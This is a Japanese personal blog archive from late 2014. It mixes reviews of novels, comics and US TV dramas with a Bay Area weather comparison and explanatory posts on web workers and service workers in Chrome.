2014-12-22

マックス・バリー『Lexicon』。良質のエンタメ



Max Barry "Lexicon"

なんとなく原書で買ったが積んであったのをようやく読んだが面白かった。ページ・ターナーという言葉があるがまさにそういう感じの面白さ。

言葉によって人間の脳をハックして意のままに操る「説得」の能力を伝える秘密組織の「詩人」たち、という設定がまずイカしていて、とある理由により彼らの戦いに巻き込まれる一般人とおぼしき男のストーリーと、それと別にサンフランシスコで奇術をやっていた少女がスカウトされ、詩人としての訓練を積んでいく物語が交互に語られていく。この2つの物語がどう合流していくかは……まあすぐ予測はつくんだけど、それでも細部をうまく隠したまま物語をドライブさせていく手法は見事。

「言葉によって人を操る」といった設定やテーマは日本SFでも類例が多い気がするけれど、えてしてメタフィクショナルで衒学的にかっこつけてしまいがちということが観測されているように思う。本書はきっぱりとエンタメであって、そういう深みは一切ない……というとけなしているようだがそうではなくて、そこにあえて踏み入れなかったところがむしろエンタメ作家としてのマックス・バリーのえらいところなのではないかな、と思った。

「神経言語学」という単語を使って「言葉はただの音じゃない、言葉は意味を伝え、脳に特定の反応を引き起こす。ある言葉や音によって、この反応を誤作動させることができる」という設定、登場する「詩人」たちが実在の詩人の名前を借りたコードネームで名乗っているところなど、異能バトル漫画っぽい雰囲気すらある。結果としては「なんか呪文を唱えると相手を操れる」という微妙に安っぽい描写になっているところも含めて、まあよろしいのではないでしょうか、という気分。

楽しく読んだけれど、マックス・バリーはこれまでもそれなりに訳されているから、本書もやがて訳されることでしょう。がんばって英語で読む意味はあんまりないです。

2014-12-17

web workers三兄弟

Service workersの仕様を説明していて思ったのだが人々はどれぐらいweb workersのことについて詳しいのだろうか。

あんがい知らない気がするので簡単に解説してみる。まあ俺もニワカです。

共通部分

ブラウザのなかで、ウェブページとはある程度独立して、ある種の処理をするためのスクリプトを実行するモノのことをworkerと呼んでいる。ようするにJSの実行環境というかVMインスタンスというか。

ブラウザのなかでふつうのJSの実行環境であるタブの中とはいろいろ違うが、
  • windowオブジェクトがない。一部のJS APIは使えないしdocumentなどは持たない。DOMツリーもさわれない
  • ただしメッセージループは持つ。windowはないがselfというやつがいてこいつを使う(self.onmessage = function() { ... } みたいな感じ)
  • タブのなかとはmessage eventで通信する。postMessageというのを送ってmessageイベントをlistenする。JSオブジェクト(というかJSONというか)やArrayBufferは送れる
ええっと、こんだけか。

Workerは、ほかのプログラミング言語だとactorとか呼ばれるものに近い。実行環境は完全に分かれているので互いに隔離されている。共有データはないのでデータはコピーするしかない。所有権を譲渡する場合は参照だけ渡す最適化もあるけどそうなると手元からは読めなくなるし、まあそういう感じ。

ああっと補足をしておくと、Workerはみな起動時にスクリプトのURLを指定する。ふつうのプログラミング言語では、関数とかそういう単位を指定するとそいつが並行実行される気がするけれど、ファイルなのでそれより独立性が高く、グローバル変数も含めて環境は一切共有されない。共通の定数とかを使いたい場合、Workerには importScripts() という関数があってほかのJSファイルを読めるのでそういうのを使うことになる。

その場でスクリプトの生成をしたり特定の関数だけ呼びたい場合は、それを文字列化してBlobを作り、Blob URLを渡すというのが作法のようである。ただまあそれもWorkerならいいけどShared Workerではどうかなあ(Service workerは仕様上、Blob URLは使えない)。

Worker

簡単に言うとスレッドみたいなやつ。new Worker(scriptUrl)で作ると新しいworkerができる。元のスクリプトの実行環境とは隔離されていて非同期に動く。そんだけ。大元のタブが所有権を持っており、そいつが消えると自分も消える。

Web workerというと、このworkerのことを指すことが多い気がする(自分もそういうふうに使っていたこともある気がする)。一番の基本形。

Chrome / Firefox / Safari / Opera はかなり前からサポートしている。IEは10からっぽい。

Shared Worker

new SharedWorker(scriptUrl)でつくるやつ。Workerに似ているんだけど、同じURLに対してはひとつのインスタンスしか作られない。ふたつの違うタブから作ってもひとつのインスタンスで共有される。タブ間で通信したりデータ共有したりするのに使える。頑張ればタブ間でコネクションの一本化とかにも使えるだろう。

共有されているが、参照するやつがいなくなったら消滅する。タブを全部閉じたりとか。

タブ間通信とかチョー便利じゃんなんでみんな使わないの、Chromeとかバージョン4から使えるよ、と思ったらIEは未サポート、Safariは途中でサポートが消滅という悲しい目にあっている。可哀想な子……。

Service Worker

解説を書いた。navigator.serviceWorker.register(scriptUrl) で登録する。いっけんShared workerに似ているけれど、違いとしては、
  • 登録元のタブと独立した生存期間を持つ。タブが閉じてても生きてることがある。
  • フェッチなどオフライン処理に関係したイベントやAPIを持つ。したがってスクリプトの側からはオプショナルな機能として実現できる。
といったところ? それにほかの面白機能のベースになるもよう。

先進的すぎてChromeでもまだ安定版では使えない、Firefoxもフラグに隠されている、ほかのブラウザはやる気があるのかどうかすら不明ですが、面白いと思ってる。

Chrome40にservice workersがきた

Chrome 40になってService workersが来たらしい。デモを動かしてみたり自分で書いてみたりして紹介記事でも書こうかなと思っていたが、 +Hajime Morrita はRebuild.fmに出演して紹介してしまったし、ほかにもすでにいくらか紹介記事が出始めてきた(たとえばhttp://qiita.com/kinu/items/2abd61b4390f9bbaffc9)。賑やかしにと自分もスクリーンキャストの動画も撮ってみた。

ここではデモの補足として、Service workersってどんなものなのかをふんわり考えてみる。

Service workers とは

って項目を書いたのだがこの説明が難しい……。新しいウェブのAPI、だけだとだからなにって感じ。Service workersはweb workersの一種なのだが、って説明しはじめると泥沼に嵌りそうだ。

Service workersでブラウザの機能として大きいと思うのは、タブと独立して動くJSの実行環境を手に入れるということだと思う。

Web workersというのはJSのスレッドみたいなものなので、普通にタブのなかのスクリプトから作られるし、タブが閉じられると消える。複数のタブで共有されるshared workerというのもいるけれど、これもタブが全部閉じたら消える。どちらもタブに従属している。

それと違い、Service workerはブラウザにインストールされる。さいしょにインストールするには、登録するページを読まないといけないけれど、登録が済んでしまえばページとは関係なく動作する(細かい補足になるが、動作するといっても、つねにプロセスを起動しっぱなしにするということではない。必要に応じて起動する)。で、ウェブページやウェブアプリと協調動作していろんなうれしい機能を提供する。

そういうバックグラウンドサービスというのは、実はこれまでブラウザにはなかった。拡張機能によってそういうのはなんとかしてきた歴史があったが、そうした無理を解消しつつ標準化していくのがService workersなのかなというのが個人的な認識だ。

Service workersの役目とスコープ

Service workerはウェブのリクエストを取り扱う。そういう意味では、少し前に話題になったフェッチAPIと関係がある。

リクエストの取扱範囲はスコープで制御される。デフォルトは登録元のサイトのトップで、これはようするにサイト全体がひとつのウェブアプリになっていてservice workerはそのウェブアプリに対して動作するということが念頭にあるのかなと思う。ただもちろん、登録時のオプショナル引数でそこからサブディレクトリに制限をかけることもできる。

取り扱い範囲のフェッチリクエストが来ると、まずService workersのfetchイベントハンドラを駆動する。Service workerはそのイベントハンドラを勝手に横取りして自分で勝手にレスポンスを作ってもよい(これがデモでやってみた事例)。なんにもしなければ普通のリクエストに戻っていく。

ただ、スクリーンキャストのなかでぶつぶつしゃべったように、ふつうはダミーデータを作ったりすることは少ないはずだ(ネットワークがつながってないときにエラーメッセージを渡すというのはあるかも)。ありがちなサンプルとしては、
  • 画像やCSSなど静的なデータをキャッシュしておき、ネットワークなしでもページをロードできるようにする(オフライン化)
  • twitterのフィードフェッチなど、複数タブを開いていると無駄になりそうなコネクションの一本化
といったところだろう。この辺はService worker専用のキャッシュAPIなどを使うことになる。と思う。

アプリのオフライン化についてはapplication cacheというAPIがこれまでもあったのだけど、残念ながらいろんな事情からマイナーな仕様にとどまっている。application cacheと比べると、簡単な事例についてはService workersのほうが書く量は増えることになるが、柔軟性が圧倒的に高く管理しやすいので、いろいろ考えるとService workersのほうがいいんじゃないかという気がする。application cacheのつらみはこの記事でよく解説されている(らしい。ごめん読んでない)。

Service workersとevent pages

Service workersの動作や仕様を眺めているとChrome拡張機能のevent pagesと近しい印象を受ける。

Chrome拡張機能にはいろんな機能があるんだけど、background pagesというのがあった。拡張機能はページにくっついたり、ポップアップになったり、自前でタブを開いたりするのだが、ユーザに見える部分とは別にいろんな処理をまとめるバックエンドがあるといろいろ便利で、それがbackground pagesとなる。拡張機能やChromeアプリを作るとき、ユーザに見える部分は単にHTML/CSS/JSでシンプルに作って、イベントハンドラからbackground pagesにメッセージを投げていろんな処理や拡張機能用のAPI呼び出しを一本化したり、といったことに使われてきた。

background pagesは便利だったんだけど、問題がひとつあった。というのは、拡張機能をインストールするとそのbackground pagesのプロセスがずーっと起動しっぱなしになってリソースを無駄遣いするのだ。そこで導入されたのがevent pagesで、ようするに「background pagesなんだけど、ブラウザは適当にプロセス止めてもいいっすよ」というフラグをつけたものと思えばいい。

event pagesはインストール時や初回起動時に実行され、イベントハンドラを登録する。そういうイベントが発生したときや、また拡張機能のUIからbackground pageにメッセージを投げようとすると、プロセスが起こってメッセージを処理し、しばらくするとプロセスが勝手に止まる。

Service workersは、このevent pagesをウェブ流にうまく表現したもの、ということができると思う。Chromeの場合、プロセスを適当なタイミングで閉じて、フェッチが発生したりページからpostMessageしたときだけプロセスが起こるというのもいっしょだ(よく知らないけど実装もけっこう流用できていると思う)。拡張機能を書いてて便利だったことがいろいろできるようになる。はずである。

Service workersの現状と今後

最初に書いたようにChromeでは40から使えるようになった(39でもコマンドラインフラグを指定すれば使えるようになっていたが、フラグフリップしたようだ)。ほかにサポートを表明しているのはFirefoxだが、こちらはフラグがないとまだ動かないらしい。Operaはよく知らないけど、なかみはBlinkなので対応は進むと思われる。それ以外のブラウザは対応を表明していない(Firefoxが支持しているというのは面白いところなんだけど……まあそういう深読みはここでは避ける)。

そういう状況なので、いますぐService workersを使わないとヤバイ、とか、もう準備万端なのでバリバリ使うべき、という話とは程遠い。が、Service workersはキャッシュやオフライン化をオプショナルに、つまり「できる環境でだけうれしい」程度の機能として提供しやすいという面がある。そういう面では、Chromeの安定版で使えるようになるあと数週間後には、触ってみてどんなもんなのか試してみるぐらいの価値はあると思う。

ただ仕様はまだドラフト段階なので、細部は変わる可能性はある。詳しくはgithubのissueにて熟知すべし。なのかな。

なお、Service workersの仕様は、それなりに長いんだけど、機能としては比較的シンプルだということに気づく。ようするに、基本的にはフェッチイベントを受け取ってキャッシュしたデータをサーブする、という機能に特化していてそれ以外の用途にはあんまり向いていない。ほかにもこんなことができたら面白そうなんだけど、という夢みたいな話はあまり入っていない。

たとえばサーバからプッシュ通信を受けつけることができるとしよう。Facebookで誰かがメッセージを送ったらサーバプッシュが届いて、それをservice workersが受けて、タブが開いてなくても通知が出せる、となったら、かなり夢が広がる気がする。Google calendarの通知とか、いいかげんタブ開いてなくても教えてほしい。そういうのはまさに拡張機能が受け持っていた機能だったけど、ブラウザごとに作るのは不毛すぎる。

ほかにも、拡張機能のevent pagesにはchrome.alarmsというAPIがあって、定期的に処理するようなイベントなんだけど、これもService workersには含まれていない。1分ごとにフェッチして変化があったらページに通知して……みたいなやつ。window.setIntervalがあればいいじゃん、て思うかもしれないけれど、それは普通のJSのAPIなのでプロセスが止まったら不都合が生じてしまう(コードの意味が変わってしまう)ため、プロセスを止められなくなる。別なAPIで対応してあげる必要がある。

実はこの辺も議論されている。プッシュ通知はpush APIという別なAPIが提案されているし、定期的にservice workerを起こすというのはbackground sync APIという仕様になるようだ。

というあたりの状況からすると、service workersはいわば導入編であって、これを軸にこれからいろんな面白機能が入ってくるのかなと期待している。そういう意味でもservice workersはいろいろ注目のAPIだと思う。

謝辞

このブログの記事、先週頭ぐらいに書いていたドラフトがあったのだが、いろいろあって完全に書き直してしまった。もとの文章と全然違っちゃったけどそちらにコメントや訂正をいただいた+Eiji Kitamura+Hiroki Nakagawaありがとうございました。むろん、間違いや勘違いの責任は向井にあります。

参考資料
  1. Chrome 40 で今すぐ ServiceWorker を試す: http://qiita.com/kinu/items/2abd61b4390f9bbaffc9 
  2. Service Workers spec: http://slightlyoff.github.io/ServiceWorker/spec/service_worker/
  3. Service workers samples: https://github.com/GoogleChrome/samples/tree/gh-pages/service-worker
  4. AppCache: https://html.spec.whatwg.org/multipage/browsers.html#offline
  5. Chrome extensions event pages: https://developer.chrome.com/extensions/event_pages
  6. push API: https://w3c.github.io/push-api/
  7. Background sync: https://github.com/slightlyoff/BackgroundSync/blob/master/explainer.md

2014-11-23

今季のUSのドラマその後

一言でまとめるとGOTHAMが面白いです。

GOTHAM

5話まで見たがマジで面白い。刑事物とかアクションとしてはアラがあるかもしれないけれど、物事の裏で進行するファルコーネとマローニの対立がストーリーをうまく回している。これに加えてウェイン財閥も綺麗なわけではないようで……。さらにギャング二人の対立構造のなかでペンギンが立ちまわる、という筋立てのため、ほとんど主人公的な立ち位置になっててある種の立身出世ものになっているのが良い。

逆にそれ以外の原作ヴィラン(リドルとかキャットウーマンとか)は今のところ存在感薄いなあ……。これからいろいろあるのだとは思いますが。

刑事物にありがちな「こんな凶悪事件ばっかり起きてて大丈夫なのかこの街」という疑問も「でもゴッサム・シティだからなぁ」で解決できるのは正直便利だなと思いました(笑)。

THE FLASH

まあまあ面白いけど、ヒーロー物としては正統派すぎてふつう。評価高いのなんででしょうか……。日本だと仮面ライダーシリーズ的な立ち位置として思えばまあこんなもんかなと思う。自分はまあそういうのも好きなので良いといえば良いです。

Agents of S.H.I.E.L.D. シーズン2

いまのところ期待はずれ。第一期のラストの、『キャプテン・アメリカ:ウィンター・ソルジャー』上映中と重なったことをふまえた展開は神がかっていて良かったのになあ。

第一期では主人公たちはS.H.I.E.L.D.という巨大組織のある種独立愚連隊的なもんだし、敵も謎めいていたのが良かったわけですが、今回はもう中枢だし、敵の正体もはっきりしていてつまんないですよ。まあ他の展開を期待しつつ待ちたいところ。

映画が出てきたらクロスオーバーで面白いのかもしれませんが。エイジ・オブ・ウルトロンが来年5月で、それまでほかの映画ないんだっけ? そしたらクロスオーバーはなしか。残念……。

乾緑郎『機巧のイヴ』



機巧のイヴ

ちょっと珍しいタイプの時代小説風SF。スチームパンクというか、からくり細工とSFの組み合わせパターン、なのはそこだけ捉えるとありがちなんだけど、こういう世界観はあまり見ないかも。なかなか良かった。

牛山藩に使える江川仁左衛門は、幕府の精錬方手伝、釘宮久蔵を訪ねた。自分の想い人と瓜ふたつの機巧人形を作ってもらうために……という第1話め「機巧のイヴ」は読んでいて妙な既視感があるなぁ……と思ったらそういえば『年間SF傑作選』にて既読でした。機巧細工で人間さえも模倣できるスチームパンクの世界観の面白さと、ちょっと捻った結末が良い。

以降はこの釘宮久蔵を狂言回しにして、同一世界で機巧+時代小説な組み合わせの連作短編全5話という構成。ただし後ろ3話はわりとひとつながりのストーリーになっているので、第2話だけ少しすわりが悪いかな……一応ラストにまでもつながる展開ではあるんですが。

改めて1話めと比較すると少し違う感じになっていませんか?という文句も少し言いたくなる面はあって、「機巧のイヴ」が単体で面白いのと比べると後半は少し弱いとも言えるけれど、徐々に世界観が明らかになっていく後半の展開もこれはこれで別な面白さがあって良いと思いました。

オチは少し弱いかな。

2014-11-20

シリコンバレー、わりとさむい

何度か似たようなことを書いたことがある記憶もあるのだけれど、まあ重複上等ということで。

なんか最近けっこう寒いのです。とくに朝晩。あと雨降ったりもする。今も降っている。もちろん、寒いといっても大したことはなく、東京の11月と同じくらいの気温。たとえば水曜日の天気は雨、最高気温18度で最低気温が9度(ともに摂氏)という感じなんですがね……。

なんというかどうも、ベイエリアは(サンフランシスコを除いて)だいたいいつも晴れてて暖かく過ごしやすい、というイメージがあると思うし(こないだrebuild.fmの66 aftershowでもそんなこと言ってたし)、そのイメージがいまだに自分の中にも残っているので、なんだか毎年ムダにびっくりしている感じ。わざわざ驚くまでもなく、この季節になると実はそこそこ寒いのだった。

ただ、この辺はこれ以上寒くはならないので、これから本格的に寒さを迎える12月から2月くらいにはかえって過ごしやすいように思えるかなと思います。

統計を見てみると

というだけではつまらないので軽く統計を眺めてみると、Wikipediaに記載されているサンノゼ市の気候統計によると、1981年から2010年までの統計で11月の月間平均最高気温は摂氏17.9度、平均最低気温は7.8度となっていて、ここ数日の天気がまさしく平年並みであることを教えてくれました。そっかこんなもんか。

なお東京も同じくWikipediaから転載してみると、同じくで11月の月間平均最高気温は16.9度、平均最低気温が9.9度となっています。朝晩はむしろ寒いぐらいだなあと思っていたけど、やっぱり東京よりやや寒いんですね。逆に日中は少し温かい。

サンノゼでは12月と1月は同統計によると最高14度強、最低5度強となり、2月には11月と同程度に回復するようなので、これからもう少しだけ寒くなるというのが正確なところ。東京の気候は12月が5.1-12.4度、1月が2.5-9.9度、2月が2.9-10.4度、3月でも5.6-13.3度と推移するので、この辺の期間は東京よりはずっと過ごしやすいということになるのかなと。

ちなみに夏を比較すると、最高気温はけっこう暑いのですが(とはいえ8月でも最高気温の平均は30度を超えないので、真夏日にはほとんどならないでしょうが)、大きく違うのは最低気温で、8月でも最低気温は14.6度となっており、熱帯夜のような日がありえないということがわかります。最低気温14度程度というのは東京だと5月か10月くらいの水準です。ようは春か秋くらいの感じ。あと基本的に雨が降らず乾燥しているので不快指数的な違いは大きいですね。

雨季と降雨量

ついでに「いつも晴れている」ということについても書いておくと、ベイエリアは夏はカラッといつでも晴れていますが冬が雨季といわれていて、そこそこ雨が降ります。雨はそんなに珍しくありません。

前掲の統計にも降雨についての情報がありますが、11月における雨の日は平均で7.2日。4日に1日くらいは雨ふってる感じです。12月から1月は10日を超えているので3日に1回ぐらい雨が降っています。月間10日雨って東京の5月ころと同じぐらいの頻度です。けっこう多いな。

ただ降雨量に着目すると、たしかにほぼゼロな夏よりは多いですが、11月で降雨量42.7mm、12月66.3mm、1月78mm、2月79mm、3月64.5mmといった具合の推移で、これは日本人的な感覚としてはかなり少ないと思われます。

たとえば、東京は冬場は乾燥しますが、それでも降雨量は50mm強で推移していますから、雨季でそれより少し程度の雨量というのは、この辺がいかに乾燥しているかわかりますね。東京の6月の降雨量は平均でこの3倍ぐらい(167.7mm)あるようです。

じっさい、雨といっても霧雨か小雨といった程度であることが多いですし、それなりの強さの雨だとラジオなんかではストームだとか言っております。雨の感覚は狂う。

ちなみに雪は降りません。こちらに来て3年目、まだ市街地での雪は見たことがないですし、雪は降らないと聞きます。いま前掲Wikipediaを見てみたら、サンノゼ市で地面に雪が残る程度の降雪の一番新しい記録は1976年2月5日だそうで。ほう。

まとめ

比較するといろいろ面白かったですが、11月くらいの気候は東京とかなり近いようですね。なお東京と比較したのは自分が住んでたからなので、他の日本の都市のことはよくわかりません。それともちろん、統計は統計なのであって個別な例外はいっぱいあります。

ところで完璧に余談ですが、先日寒いなあと家に帰りがてら、アパートの住民らしき女性が水着の上にパーカーだけ羽織って出かけるのとすれ違いましたが、外もすっかり暗くなってましたがあれからプールで泳いだんですかね……寒さに強い人間の考えることはようわからん……

2014-11-17

イスラム系スーパーヒロインの新生『ミス・マーベル』



Ms. Marvel Volume 1: No Normal

なんかの記事で見かけて面白そうだったので買ってみたが、なかなか良かった。

アメコミヒーローシリーズの『ミス・マーベル』が4代目になって新しくなった第1巻なんですが、大きな特徴は主人公がパキスタン系でムスリムの家庭の女の子であること。

カマラ・カーンはジャージーシティに住む16歳のふつうの女の子。ムスリムの家庭ではあるけれど、彼女じたいは伝統や慣習よりはアヴェンジャーズなどのコミックが好き(ファンフィクを書いたりしてる)。ただ、厳格な両親やムスリムとしての生活を受け入れた兄はそういうことに理解がないし、学校の白人の友達たちからは少し疎外感を味わっていて、週末のムスリム系の学校(補習校?)でも厳しい先生とはいまひとつそりがあってない。

ある日、親のいいつけを破って友達に誘われて夜のパーティに行った帰り、不思議な霧の中で彼女は幻覚を見、自分の姿形を自由に変形させる超常能力を得る(わけわからんなーと思ったけど、この霧じたいもInhumanityというマーベルユニバース全体のクロスオーバーシリーズの設定らしい)。幻覚に見えたミス・マーベル(初代)を見ながら「あなたみたいになりたい」と思った彼女は、ほんとうにそういう姿形に変化し、人助けをしたことから、人々のあいだにミス・マーベルの都市伝説が生まれる……といったものがオリジン。

褐色の肌で黒髪なパキスタン系のアメリカ人、しかもムスリムというスーパーヒロインはそれだけでもセンセーショナルな題材だし(マーヴェル・コミックスではタイトル持ちヒーローでムスリムは初とのこと)、白人リア充たちにちょっと憧れつつ彼らのようにはなれないことを思い知らされたり、なかなか攻めたテーマ設定にも思える。

ただ実際のところは、厳しい親の抑圧と自己の関係、理解のない家族や友だちとの人間関係、学校でもどちらかといえばスクールカースト下位なキャラクターが突然スーパーヒロインになるといった設定など、戦うヒロインものとしては比較的普遍的な(言い方をかえるとわりとふつうの)テーマを描いていて、そこが主眼なのかなという印象。ムスリムといった彩りはこうしたテーマとわかちがたく結びついているけれども、そこだけをセンセーショナルに取り上げた作品ではないなという感じ。

アートワークもなかなか良くて、アメコミみたいなガチムチな感じから離れて線もおとなしめ、マンガっぽい表現もあるし、特殊能力として体のあちこちが変化したりするのがディフォルメぽい演出になっていたりもして、良い感じです。

2014-11-07

『謎の独立国家ソマリランド』ちょっと他に類を見ない強烈なルポタージュ



謎の独立国家ソマリランド

+Shunichi Arai さんがべた褒めしていた本なので気になっていたが、めでたく電子化されたということで読了。たしかにめっぽう面白い。

独裁政権が倒れてから20年以上も無政府状態のまま内戦が続き、群雄割拠の戦国時代と化したソマリアと、そのなかにあってなぜか武装解除を実現し、平和を保つことに成功した自称独立国家のソマリランドに赴き、その実態を描いたルポタージュ。ごくごく薄いつてを辿って現地に入り、現地民と一緒にカートという麻薬を一緒にのみながら(食べながら?)交流しつつ、外部にはほとんど伝わってこないソマリランドとソマリアの実態を紹介していく。

面白い本なのは間違いないが、なにがどう面白いのか、ということを一言で表現するのは難しい。

一言で表現することが難しい理由のひとつは、内容は多岐にわたっているということもあるだろう。ソマリアの歴史、ソマリランド分離独立の根拠や歴史、そしてなぜ、ソマリアのほかの地域が紛争に明け暮れているのにソマリランドでだけ武装解除が可能だったのか。これが本書のメインの主題なのだがそれだけではない。

隣接するプントランドはほとんど「海賊国家」と化していて、ソマリア海賊の本拠地となっている(らしい)。それはなぜか? 逆に、なんでソマリランドには海賊がいないのか? 「リアル北斗の拳」などとすら言われる南部ソマリアはいったいどうなっているのか? かつての首都はどうなっているのか? アルカイダの支援があるというイスラム原理主義組織は現地民に受け入れられているのか?

著者は平和とされているソマリランドだけではなく、こうした紛争地帯のような場所にも足を運び、現地の人々に取材をし、こうした疑問に挑んでいく。

取材というが、そういう単語では言い表せなさそうなもっと壮絶なものだ。エピローグで軽い感じで紹介されているが、著者はソマリア取材中にイスラム原理主義勢力に襲撃され、護衛の車が爆破され複数人が負傷するような事態にも巻き込まれたのだという。読んでいても、このままこの人死ぬんちゃうかな……いやでも本が出てるから大丈夫なはずだな……という考えが脳裏をかすめる。とんでもない世界だ。

そしてその足でふたたびソマリランドに戻ってきた時、その奇跡のような平和さを読者も追体験することになる。一周してソマリランドを2回紹介する構成なので不思議な構成の本だと思うが、こういう意味では的確な構成でもあるように思う。そうしてソマリたちの制度や慣習、ソマリランドの制度を調査紹介していくうちに、最終的にはソマリランドの制度がむしろよく出来ていると褒め称えるぐらいになっている。……それはまあカートの見せた幻想だろうと話半分にするとしても、現地に入り込んだ人間にしかかけないリアリティはある。

個人的には一番すごいなと思ったのは、著者が案内人といっしょに実際に海賊行為の算段をはじめ、見積もりを取り始めるところ。ホテルの隣室にたまたま海賊が泊まってたよ、といって実際に何が必要なのかを聞いてきて、コストと利益を比較する。そうやって海賊行為がどういう計算のもとにどうして行われているのか、外国人が裏で暗躍するというのがどういうことか理解できたとするだが……ことここにいたり、これはちょっと類を見ないタイプの本だなと思った。

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なお、ソマリアに多数いる氏族や分家の勢力関係をわかりやすく表現するために、なぜか著者は平家や源氏、北条氏、はては武田や伊達などといった武将の家名や名前をラベル付に利用している。これがこの本の一種独特な雰囲気というかフィクションぽさを強めているように思えて、嫌いな人は嫌いなんじゃないかと思うが、実際たしかにこのほうが頭に入りやすいのは確かだなぁと思ったので俺は良いと思います。

2014-11-06

ジョン、全裸連盟へ行く



ジョン、全裸連盟へ行く

BBCのドラマ『SHERLOCK』にインスパイアされた、現代イギリスを舞台としたホームズパスティーシュ短篇集。といってもイギリスでの刊行物ではなく、著者はシャーロック・ホームズものコレクターとしても著名な北原尚彦氏。ミステリマガジン誌で掲載した短編をまとめたものらしい。でもいちおうBBC公認だそうです。

わたしはシャーロキアンではないので細かいことはよくわからないけれど、(たぶん)原典などをうまく取り入れつつ、BBCの『SHERLOCK』っぽいところも出しつつ、パロディっぽい突拍子のなさもありつつ、うまい塩梅の短篇集となっていると思います。

一番のお気に入りは表題作の「全裸連盟」ですかね。問題の謎はすぐわかるんだけど、タイトルとテーマのおかしさが良い。あと、その発想はなかったというかさすがに無茶すぎるだろうとも思うけれども「まだらの綱」も良かったかな。

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なお、いちおう公認とのことですが、本作は件のドラマのノベライズではなく、あくまでも「現代もののホームズ・パスティーシュ」ですので、お間違いないように。ファングッズとしての価値はかなり薄いと思います。

ただ読んでいて思ったんですが、ドラマにしても本作にしても、原典へのリスペクトがあってこそのおもしろさなんだなと。ちょっと再確認した次第です。

2014-10-23

『The Flash』超高速スーパーヒーロー

http://www.ctv.ca/TheFlash/Articles/News/the_flash_heart_humour_heroes.aspx
昨日につづいて、今日は『The Flash』です。フラッシュという、どちらかといえばマイナーなヒーローを主人公にしたドラマシリーズです。

フラッシュはバットマンとかスーパーマンとかの所属するDCコミックスの世界のヒーローで(ちなみにアイアンマンとかスパイダーマンとかアヴェンジャーズはマーヴェル・コミックス)、特殊能力は超高速移動。

第1話はいわゆるオリジンストーリーで、主人公のバリー・アレンが超能力を獲得し、ヒーローとして活躍するまでを描いています。バリー・アレンは警察で鑑識の仕事をしています。物語は、銀行強盗の痕跡から車種を特定し、捜査に貢献するところから始まります。

なぜか街の中心地で実施された粒子衝突実験が暴走、実験施設は崩れ落ち、街のあちこちにも被害が出ます。主人公も雷に打たれ、9ヶ月間昏睡状態に陥りますが、奇跡的に目覚めます。そしてそれから、超スピード能力を獲得してしまった、という設定です。

そんなころ、ふたたび銀行強盗が街を荒らし始めていました。ここでの不可解な点はふたつ。目撃証言からあぶりだされる強盗の人相は冒頭の捜査で追い詰めた犯人と同じものなのですが、そいつはセスナで逃亡を企てた瞬間に実験の暴走が起こり、雷に打たれて墜死していたはずだということ。それから強盗の際に突発的に嵐に襲われるという幸運が何度も起きていること。

まあ皆さんもおわかりのように、この犯人も雷の影響で天候を操る能力を獲得してしまったというわけです。おそらく実験の影響で、特殊能力を獲得してしまった人々が街にあらわれはじめてしまった、というのが基本設定になります。第1話では、最後は大嵐によって街を破壊しようと目論む敵に対して、超スピードで逆走して嵐のパワーを打ち消し(?)敵をやっつけてました。

……といったヒーローの物語を縦軸にしつつ、いっぽうで主人公の設定とキャラクター同士の人間関係が横軸として配置されています。

ひとつには、幼いころ怪現象によって母を亡くし、怪現象の説明がつけられないまま父は犯人として投獄、という過去があります。だがもしその怪現象も、フラッシュのような特殊能力を持つ者の犯行であれば説明がつく……。

さらに父の投獄によって引き取られた刑事のジョー・ウェストと親密につきあい、その娘のアイリスとは恋人だったんですが、9ヶ月の昏睡状態の間に関係が疎遠になり、友達でもあった他の刑事に奪われる……といったストーリー。さらにバリーを9ヶ月間保護し、また実験施設の跡地で研究を続けていた博士がバックアップ組織としてフラッシュの活動を支援することになるようですが、この博士もまたなにか企んでいる様子、と、いろいろてんこもりな感じです。

超スピード、と聞くといまひとつ地味な気もしていて、それだけで1シーズンもつようなストーリーのバリエーションがあるものなのだろうか、と思ったんですが、超スピードにかこつけていろんなサブ能力もあるようなので(原作では分子透過能力とかもあるようです)、そうでもないのかも。第1話はヒーローのオリジンストーリーとしてはなかなか良いかんじです。こっちでの視聴者の評判はわりと高いようです。

ところで超能力に悩んだ主人公がなぜか唐突にグリーンアロー(アヴェンジャーズのホークアイみたいな、弓矢の達人なヒーロー)のところに相談にいくくだりがあって首をひねっていたんですが、どうも『Arrow』というタイトルのグリーンアローを主人公にしたドラマが好評で、本作はそのスピンオフらしいですね。そっちも見てみなければ……。

2014-10-22

『GOTHAM』バットマンの世界を舞台にしたハードボイルド

始まってたことに気づいてなかった『GOTHAM』をいまごろ見ました。映画シリーズなどで日本でもおなじみの『バットマン』の世界観を舞台にしたドラマです。

バットマンといえば、幼いころに両親が強盗によって殺されたトラウマから犯罪を憎み、また心身を鍛え、長じて両親の遺産を継いだブルース・ウェインがコスチュームをまとって犯罪都市ゴッサム・シティの犯罪者たちと戦う、といったものが基本設定。このバットマンの味方として出てくるレギュラーキャラクターが幾人かいますが、そのうちの一人が、ゴッサム市警の本部長であるジム・ゴードンという人です。最近の映画ではゲイリー・オールドマンがやっているので、その印象が強いですね。

このドラマは、そのゴードンの若かりし頃を描いています。物語の出だしは、まさにブルース・ウェインの両親が襲われるという強盗殺人事件。まだ駆け出しの刑事であるゴードンはこの事件の担当となり、捜査を始めることになります。

とりあえずまだ第1話しか見てませんが、ウェイン殺しの犯人と目される人物を見つけ出し、追い詰めたところで逆襲され射殺することになるのですが、後に濡れ衣であることがわかってくる。しかもいろいろ不審な点が出てきた。どうやら裏には陰謀が隠れているようだ……とまあそういう感じのハードボイルドな出だしで、なかなか良いと思います。

ただちょっとハイコンテキストすぎる気がするので、日本では受けないかもなあという不安も。第1話でもすでに、バットマンの定番の敵キャラの若かりし頃の姿、というのがチラ見せ状態で登場するんですが、「ああコイツそういうことなのか」というのは、ふつうわかるもんなのかな、アメリカでも……。後のペンギンはギャングの下っ端だし、後のリドラーは警察の鑑識、後のキャットウーマンらしき女性は街でスリを働いていますが第1話では思わせぶりに出てくるだけでセリフはなし。などなど……。そんで、ジョーカーのようなメジャーなキャラクターは(まだ)出てきていません。ちなみにゴードンとコンビを組むのはハーヴェイ・ブロック

ま、個人的には面白く見ているのでとりあえず継続視聴予定です。

2014-10-06

@Scale conf 2014 web track: RxJS、flow型チェック、wikipediaとPHPなど

Facebookが主催する@Scale conferenceというカンファレンスが少し前にやってまして、そのビデオがYouTubeで公開されてます。Data、Mobile、Webというみっつのトラックがあって、それぞれプレイリストになってます。とりあえずWeb trackをざっと眺めたなかで個人的に面白いとおもったものを。

